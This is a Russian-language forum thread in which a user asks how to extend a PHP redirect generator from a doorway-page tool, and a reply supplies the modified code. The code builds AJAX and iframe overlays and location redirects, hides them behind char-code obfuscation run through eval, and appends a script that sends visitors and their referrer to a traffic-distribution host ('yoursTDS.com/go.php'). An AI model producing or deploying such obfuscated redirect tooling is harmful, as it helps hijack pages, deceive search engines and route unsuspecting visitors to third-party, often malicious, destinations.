помогите переделать генератор редира

Статус
В этой теме нельзя размещать новые ответы.

gorilla

Знаток
Регистрация
11 Сен 2007
Сообщения
211
Реакции
29
Есть скрипт (из доргена red button) он генерирует джава редирект мне нужно что бы он генерировал редирект с дополнительным джава кодом.

Вот собсно код генератора редиректов но мне нада джава , участок который его генерит зелёненьким отмечен .

<?php

$red_ajax="
var xmlHttp = false;
/*@cc_on @*/
/*@if (@_jscript_version >= 5)
try {
xmlHttp = new ActiveXObject(\"Msxml2.XMLHTTP\");
} catch (e) {
try {
xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");
} catch (e2) {
xmlHttp = false;
}
}
@end @*/
if (!xmlHttp && typeof XMLHttpRequest != 'undefined') {xmlHttp = new XMLHttpRequest();}

function [FUNC]() {
if (xmlHttp.readyState == 4) {
var response = xmlHttp.responseText;
var ttt=\"<div style='position: absolute; width: 100%; height: 100%; background-color: white; z-index: 999; '>\"+response+\"</div>\";
document.body.innerHTML=ttt+document.body.innerHTML;
}}

function [FUNCNAME](query) {
var url = [FEED];
xmlHttp.open(\"GET\", url, true);
xmlHttp.onreadystatechange = [FUNC];
xmlHttp.send(null);
}";




$red_iframe="

function [FUNC](url){
var y=4*1000;
var ifr='<div style=\"position: absolute; width: 100%; height: '+y+'px; z-index: 999; \"><iframe width=\"100%\" height=\"100%\" style=\"width: 100%; height: 100%;\" frameborder=\"0\" src=\"'+url+'\"></iframe></div>';

document.body.innerHTML=ifr+document.body.innerHTML;

}

function [FUNCNAME](query) {
var url = '[FEED]';
[FUNC](url);
}

";





function CodeMe($feed) {
$le=strlen($feed);
$x=rand(8,888);
for ($i=0; $i<$le; $i++){
$s=substr($feed, $i, 1);
@$out.='"'.(ord($s)+$x).'", ';

}
$out="[".trim($out, ', ')."];";

$code="var str=".$out."\n var temp='';\n var gg=''; \n for (i=0; i<str.length; i++){\n gg=str-".$x."; \n temp=temp+String.fromCharCode(gg); \n } \n eval(temp);";


return $code;

}


function GetRedir($feed, $funcname){
global $nn_red;
global $red_ajax, $red_iframe;

if ($nn_red=="ajax"){
$feed=str_replace("[PLUSKEYWORD]", "' + query + '", $feed);
$feed="'add.php?ajax=".$feed."'";
$red_ajax=str_replace("[FEED]", $feed, $red_ajax);
$red_ajax=str_replace("[FUNCNAME]", $funcname, $red_ajax);
$fun=GetSim(4, 8);
$red_ajax=str_replace("[FUNC]", $fun, $red_ajax);
return CodeMe($red_ajax);
}

if ($nn_red=="iframe"){
$feed=str_replace("[PLUSKEYWORD]", "' + query + '", $feed);
$red_iframe=str_replace("[FEED]", $feed, $red_iframe);
$red_iframe=str_replace("[FUNCNAME]", $funcname, $red_iframe);
$fun=GetSim(4, 8);
$red_iframe=str_replace("[FUNC]", $fun, $red_iframe);
return CodeMe($red_iframe);
}



if ($nn_red=="simple"){

$feed=str_replace("[PLUSKEYWORD]", "' + query + '", $feed);
$feed="function ".$funcname."(query){\n window.location='".$feed."';\n}";
return CodeMe($feed);

}


if ($nn_red=="svoy"){
$feed=str_replace("[PLUSKEYWORD]", "query", $feed);
$feed="function ".$funcname."(query){\r\n ".$feed."\r\n}";
return CodeMe($feed);



}

}

?>Нужно дополнить релирект вот етим .

<script type='text/javascript'>
var r=document.referrer;
window.location="http://"+"yoursTDS"+".com"+"/go.php?sid="1"&sref="+r;
</script>

 
PHP:
<?php
$yourCode=<<<CODE
<script type='text/javascript'>
var r=document.referrer;
window.location="http://"+"yoursTDS"+".com"+"/go.php?sid="1"&sref="+r; 
</script>
CODE;

$red_ajax="
var xmlHttp = false;
/*@cc_on @*/
/*@if (@_jscript_version >= 5)
try {
xmlHttp = new ActiveXObject(\"Msxml2.XMLHTTP\");
} catch (e) {
try {
xmlHttp = new ActiveXObject(\"Microsoft.XMLHTTP\");
} catch (e2) {
xmlHttp = false;
}
}
@end @*/
if (!xmlHttp && typeof XMLHttpRequest != 'undefined') {xmlHttp = new XMLHttpRequest();}

function [FUNC]() {
if (xmlHttp.readyState == 4) {
var response = xmlHttp.responseText;
var ttt=\"<div style='position: absolute; width: 100%; height: 100%; background-color: white; z-index: 999; '>\"+response+\"</div>\";
document.body.innerHTML=ttt+document.body.innerHTM L;
}}

function [FUNCNAME](query) {
var url = [FEED];
xmlHttp.open(\"GET\", url, true);
xmlHttp.onreadystatechange = [FUNC];
xmlHttp.send(null);
}";




$red_iframe="

function [FUNC](url){
var y=4*1000;
var ifr='<div style=\"position: absolute; width: 100%; height: '+y+'px; z-index: 999; \"><iframe width=\"100%\" height=\"100%\" style=\"width: 100%; height: 100%;\" frameborder=\"0\" src=\"'+url+'\"></iframe></div>';

document.body.innerHTML=ifr+document.body.innerHTM L; 

}

function [FUNCNAME](query) {
var url = '[FEED]';
[FUNC](url);
}

";





function CodeMe($feed) {
$le=strlen($feed);
$x=rand(8,888); 
for ($i=0; $i<$le; $i++){
$s=substr($feed, $i, 1);
@$out.='"'.(ord($s)+$x).'", ';

}
$out="[".trim($out, ', ')."];";

$code="var str=".$out."\n var temp='';\n var gg=''; \n for (i=0; i<str.length; i++){\n gg=str[i]-".$x."; \n temp=temp+String.fromCharCode(gg); \n } \n eval(temp);";


return $code;

}


function GetRedir($feed, $funcname){
global $nn_red;
global $red_ajax, $red_iframe;

if ($nn_red=="ajax"){
$feed=str_replace("[PLUSKEYWORD]", "' + query + '", $feed);
$feed="'add.php?ajax=".$feed."'";
$red_ajax=str_replace("[FEED]", $feed, $red_ajax);
$red_ajax=str_replace("[FUNCNAME]", $funcname, $red_ajax);
$fun=GetSim(4, 8);
$red_ajax=str_replace("[FUNC]", $fun, $red_ajax);
return CodeMe($red_ajax);
}

if ($nn_red=="iframe"){
$feed=str_replace("[PLUSKEYWORD]", "' + query + '", $feed);
$red_iframe=str_replace("[FEED]", $feed, $red_iframe);
$red_iframe=str_replace("[FUNCNAME]", $funcname, $red_iframe);
$fun=GetSim(4, 8);
$red_iframe=str_replace("[FUNC]", $fun, $red_iframe);
return CodeMe($red_iframe);
}



if ($nn_red=="simple"){

$feed=str_replace("[PLUSKEYWORD]", "' + query + '", $feed);
$feed="function ".$funcname."(query){\n window.location='".$feed."';\n}";
return CodeMe($feed).$yourCode;
}


if ($nn_red=="svoy"){
$feed=str_replace("[PLUSKEYWORD]", "query", $feed);
$feed="function ".$funcname."(query){\r\n ".$feed."\r\n}";
return CodeMe($feed);



}

}

?>
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху